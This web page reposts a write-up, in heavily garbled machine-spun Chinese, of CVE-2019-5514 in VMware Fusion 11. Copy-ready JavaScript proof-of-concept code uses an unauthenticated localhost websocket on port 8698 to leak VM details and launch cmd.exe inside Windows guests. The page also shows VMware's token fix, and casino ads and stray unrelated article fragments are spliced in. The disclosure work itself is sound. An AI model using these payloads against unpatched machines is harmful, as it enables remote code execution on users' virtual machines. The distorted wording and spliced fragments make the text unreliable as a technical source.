CVE-2019-5514 VMware Fusion 11 Guest机长途代码实行 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-5514 VMware Fusion 11 Guest机长途代码实行

申博_安全预警 申博 205次浏览 未收录 0个评论

Web应用代码自动化审计浅谈

0. 序 代码审计是找到应用缺陷的过程。自动化审计通常有白盒、黑盒、灰盒等多种方式。白盒指通过对源代码的分析找到应用缺陷;黑盒通常不涉及到源代码,多使用模糊测试等方式来找到漏洞;而灰盒则是黑白结合的方式,利用黑盒特性来减少白

媒介

这个破绽许可攻击者经由过程Web在VMware Fusion guest上实行恣意敕令。一般VMware Fusion只在localhost上开启websocket监听。攻击者可以或许经由过程websocket来完全掌握全部VM(建立删除快照,不管你想做甚么),包孕运转App。运转App须要目的机械装有VMware Tools,老实说谁会不装呢。攻击者在本身的网站上建立一个JavaScript可以或许完成接见(目的主机)那些未登记的API,此操纵并不须要身份验证。

概述

在几个礼拜前,我看到了CodeColorist宣布的一篇推文,该文章议论到了这件事,他是该破绽的原始发明者,然则我没有时候马上去研讨它。当我再次搜刮它时,这篇推文已消逝了。我在他的微博(中国版推特)账户( CodeColorist Weibo)发明了雷同的一篇推文。下图是个中的内容之一:

CVE-2019-5514 VMware Fusion 11 Guest机长途代码实行

从上图你可以或许发明可以或许经由过程websocket在guest VM上实行恣意敕令,这是起源于历程amsrc。我想我给了他充足的信托,我接下来做的建立在这一点上。(注:狂妄的歪果仁)

破绽

AMSRV

这里我运用ProcInfoExample (Github:https://github.com/objective-see/ProcInfoExample) 来监控当运转VMware Fusion时启用了哪些历程。当我开启VMware时,vmrest(VMware REST API)和amsrv都将启动:

2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start:
pid: 10936
path: /Applications/VMware Fusion.app/Contents/Library/vmrest
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)

2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start:
pid: 10935
path: /Applications/VMware Fusion.app/Contents/Library/amsrv
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)

他们好像存在联系关系,由于你能经由过程这个端口接触到未登记的VMware REST APT。经由过程amsrv历程来掌握这个运用菜单,我想这是类似于“运用菜单效劳”的器械。移步至/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources我发明一个名为app.asar的文件,在这个文件的末端有一个关于node.js来完成websocket的形貌:监听8698端口。异常棒,我们可以或许直接在源代码中找到它,而无需做硬核逆向。

检察此代码,显现VMware Fusion运用菜单将在8698端口开启amsrv历程,若是该端口被占用,它守候开放然后再开启。

const startVMRest = async () => {
   log.info('Main#startVMRest');
   if (vmrest != null) {
      log.warn('Main#vmrest is currently running.');
      return;
   }
   const execSync = require('child_process').execSync;
   let port = 8698; // The default port of vmrest is 8697
   let portFound = false;
   while (!portFound) {
      let stdout = execSync('lsof -i :' + port + ' | wc -l');
      if (parseInt(stdout) == 0) {
         portFound = true;
      } else {
         port++;
      }
   }
   // Let's store the chosen port to global
   global['port'] = port;
   const spawn = require('child_process').spawn;
   vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [
      '-D',
      '-p',
      port
   ]);

我们可以或许再VMware Fusion运用菜单日记中找到有关日记:

2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )

此时,我们可以或许确认web socket和一个 REST API接口。

应用REST API来泄漏VM信息

接见URL(http://localhost:8698/api/internal/vms), 它将返回一个款式优越的JSON数据包,这个数据包包罗了VM的一些细节:

[
{
    "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX",
    "processors": -1,
    "memory": -1,
    "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx",
    "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist",
    "powerState": "unknown"
  }
]

这个信息泄漏可以或许使攻击者猎取用户ID,文件夹,VM称号和其他基本信息。下面是展现这些信息的代码。若是我们将JS放入网站,然后一台运转有Fusion的主机接见该网站,我们可以或许查询到该主机的REST API。

var url = 'http://localhost:8698/api/internal/vms'; //A local page

var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);

// If specified, responseType must be empty string or "text"
xhr.responseType = 'text';

xhr.onload = function () {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200) {
            console.log(xhr.response);
            //console.log(xhr.responseText);
            document.write(xhr.response)
        }
    }
};

xhr.send(null);

细致审读代码,你会发明这些分外的URL将泄漏出更多信息:'/api/vms/' + vm.id + '/ip' – 资助猎取VM内部IP(若是VM加密或许关机,这将失效)。'/api/internal/vms/' + vm.id – 和第一个URL作用雷同,用于限定一台VM。

应用Websocket的vmUUID猎取RCE

这是@CodeColorist宣布的原始POC:

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
    const payload = {
        "name":"menu.onAction",
        "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
        "userInfo": {
            "action":"launchGuestApp:",
            "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
            "representedObject":"cmd.exe"
                }
            };
            ws.send(JSON.stringify(payload));
        };
ws.onmessage = function(data) {
    console.log(JSON.parse(data.data));
    ws.close();
    };
</script>

在这个POC中,攻击者须要VM的UUID来开启新运用。我们可以或许在vm文件中轻松找到bios.uuid,而bios.uuid就是vmUUID。问题是猎取bios.uuid有些贫苦,攻击者又没法实行暴力破解或别的的。然则,若是目的的guest上装有VMware Tools(谁会不装它呢?),统统将将变得简朴起来。若是VM被挂起或许关机,VMware下次会再次运转它。而且在用户登入后该敕令也会自动实行,以至是锁屏然后解锁登入。我做了一些试验,发明若是我移除该工具和vmUUID这一要素,这段代码依然可以或许在末了运用VM时实行,而且会有一些状况信息生存下来。

Websocket 信息泄漏

实验逆向溯源web socket的挪用内容和代码中的其他选项,你将发明可以或许猎取运用菜单的接见权限,可以或许完全掌握任何事。

aMenuupdate:
00000001003bedd2         db         "menu.update", 0                            ; DATA XREF=cfstring_menu_update
                     aMenushow:
00000001003bedde         db         "menu.show", 0                              ; DATA XREF=cfstring_menu_show
                     aMenuupdatehotk:
00000001003bede8         db         "menu.updateHotKey", 0                      ; DATA XREF=cfstring_menu_updateHotKey
                     aMenuonaction:
00000001003bedfa         db         "menu.onAction", 0                          ; DATA XREF=cfstring_menu_onAction
                     aMenurefresh:
00000001003bee08         db         "menu.refresh", 0                           ; DATA XREF=cfstring_menu_refresh
                     aMenusettings:
00000001003bee15         db         "menu.settings", 0                          ; DATA XREF=cfstring_menu_settings
                     aMenuselectinde:
00000001003bee23         db         "menu.selectIndex", 0                       ; DATA XREF=cfstring_menu_selectIndex
                     aMenudidclose:
00000001003bee34         db         "menu.didClose", 0                          ; DATA XREF=cfstring_menu_didClose

这些都可以或许经由过程Websocket来挪用。我没有详细探究菜单的每个选项,若是攻击者晓得vmUUID,可以或许(应用它)做任何事情(制造快照,开启VM,删除VM等)。问题是,我仍没有弄清楚怎样猎取它。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

下面一个风趣的选项是menu.refresh。运用以下Payload:

const payload = {
        "name":"menu.refresh",
            };

可以或许猎取VM的信息和已装置App的一些信息。

{
  "key": "menu.update",
  "value": {
    "vmList": [
      {
        "name": "Kali 2018 Master (2018Q4)",
        "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist"
      },
      {
        "name": "macOS 10.14",
        "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist"
      },
      {
        "name": "Windows 10 x64",
        "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist"
      }
    ],
    "menu": {
      "pinnedApps": [],
      "frequentlyUsedApps": [
        {
          "rawIcons": [
            {
(...)

经由过程前面议论的API,我们可以或许看到这里也有信息泄漏接口。

Websocket RCE 无需vmUUID

另外一个风趣的处所是menu.selectIndex,用户经由过程它挑选VM。这个功用的原始代码可以或许在app.asar直接找到,我们可以或许经由过程浏览摸清楚挪用流程:

// Called when VM selection changed
   selectIndex(index: number) {
      log.info('Renderer#ActionService::selectIndex: (index:', index, ')');
      if (this.checkIsFusionUIRunning()) {
         this.send({
            name: 'menu.selectIndex',
            userInfo: { selectedIndex: index }
         });
      }

我们可以或许挑选某个VM guest运转App来挪用menu.selectIndex

const payload = {
        "name":"menu.selectIndex",
        "userInfo": {
            "selectedIndex":"3"
                }
            };

然后我研讨是不是可以或许在menu.onAction挪用中运用selectedIndex目次,效果为可以或许。同时,经由过程menu.refresh返回的vmlist中每台VM都有准确的索引和递次。

想要猎取完全RCE权限:

  1. 经由过程menu.refresh泄漏出VM列表。
  2. 经由过程索引在guest账户上运转一个App。

Poc:

<script>

ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
    //payload to show vm names and cache path
    const payload = {
        "name":"menu.refresh",
            };
            ws.send(JSON.stringify(payload));           
        };
ws.onmessage = function(data) {
    //document.write(data.data);
    console.log(JSON.parse(data.data));
    var j_son = JSON.parse(data.data);
    var vmlist = j_son.value.vmList;
    var i;
    for (i = 0; i < vmlist.length; i++) { 
    //payload to launch an app, you can use either the vmUUID or the selectedIndex
    const payload = {
        "name":"menu.onAction",
        "userInfo": {
            "action":"launchGuestApp:",
            "selectedIndex":i,
            "representedObject":"cmd.exe"
                }
            };
        if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));}           
    }   
    ws.close();
    };
</script>

破绽上报

申报这个破绽之前我征询@Codecolorist是不是由他来上报给VMware,他回覆可以或许,以后VMware团队与他举行相同。我决定向VMware团队提交另外一份申报,该申报中的破绽越发严峻,我想催促它们尽快修复它,我提交的破绽的Poc与本文比拟运用了一种新方法。

修复

VM在几天前宣布了补钉,参考:VMSA-2019-0005。我检察VMware团队做些甚么,发明它们到场了token认证,而且在每次启动VM都将革新token值。

这里是相干的更新代码(文件:app.asar):

String.prototype.pick = function(min, max) {
   var n,
      chars = '';
   if (typeof max === 'undefined') {
      n = min;
   } else {
      n = min + Math.floor(Math.random() * (max - min + 1));
   }
   for (var i = 0; i < n; i++) {
      chars += this.charAt(Math.floor(Math.random() * this.length));
   }
   return chars;
String.prototype.shuffle = function() {
   var array = this.split('');
   var tmp,
      current,
      top = array.length;
   if (top)
      while (--top) {
         current = Math.floor(Math.random() * (top + 1));
         tmp = array[current];
         array[current] = array[top];
         array[top] = tmp;
      }
   return array.join('');
export class Token {
   public static generate(): string {
      const specials = '!@#$%^&*()_+{}:"<>?|[];\',./`~';
      const lowercase = 'abcdefghijklmnopqrstuvwxyz';
      const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      const numbers = '0123456789';
      const all = specials + lowercase + uppercase + numbers;
      let token = '';
      token += specials.pick(1);
      token += lowercase.pick(1);
      token += uppercase.pick(1);
      token += numbers.pick(1);
      token += all.pick(5, 7);
      token = token.shuffle();
      return Buffer.from(token).toString('base64');
   }

这里的token值为可变长度暗码,个中包罗从app,小写,数组和标记中提取的最少一个字符。同时,顺序会对密钥做Base64编码,我们在Wireshark中可以或许看到:

CVE-2019-5514 VMware Fusion 11 Guest机长途代码实行

我发明了下面这段代码:

function sendVmrestReady() {
   log.info('Main#sendVmrestReady');
   if (mainWindow) {
      mainWindow.webContents.send('vmrestReady', [
         'ws://localhost:' + global['port'] + '/ws?token=' + token,
         'http://localhost:' + global['port'],
         '?token=' + token
      ]);
   }

若是在目的mac已猎取代码实行,那你就可以或许猎取token值,然则在那种情况下谁还会去做呢。到场暗码严峻地限定了攻击者应用该破绽猎取长途代码实行的才能。

反-反汇编patch学习(一)

最近在学习反-反汇编技巧,以此记录,patch的实例程序在附件中 仅仅是新手的学习记录,大佬轻喷 编写一个测试程序 这个程序没有什么意义,在IDA中把puts函数patch成nop用于添加我们自己的指令 肯定有更好的方法,但是这里只是为了练习 vi


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-5514 VMware Fusion 11 Guest机长途代码实行
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址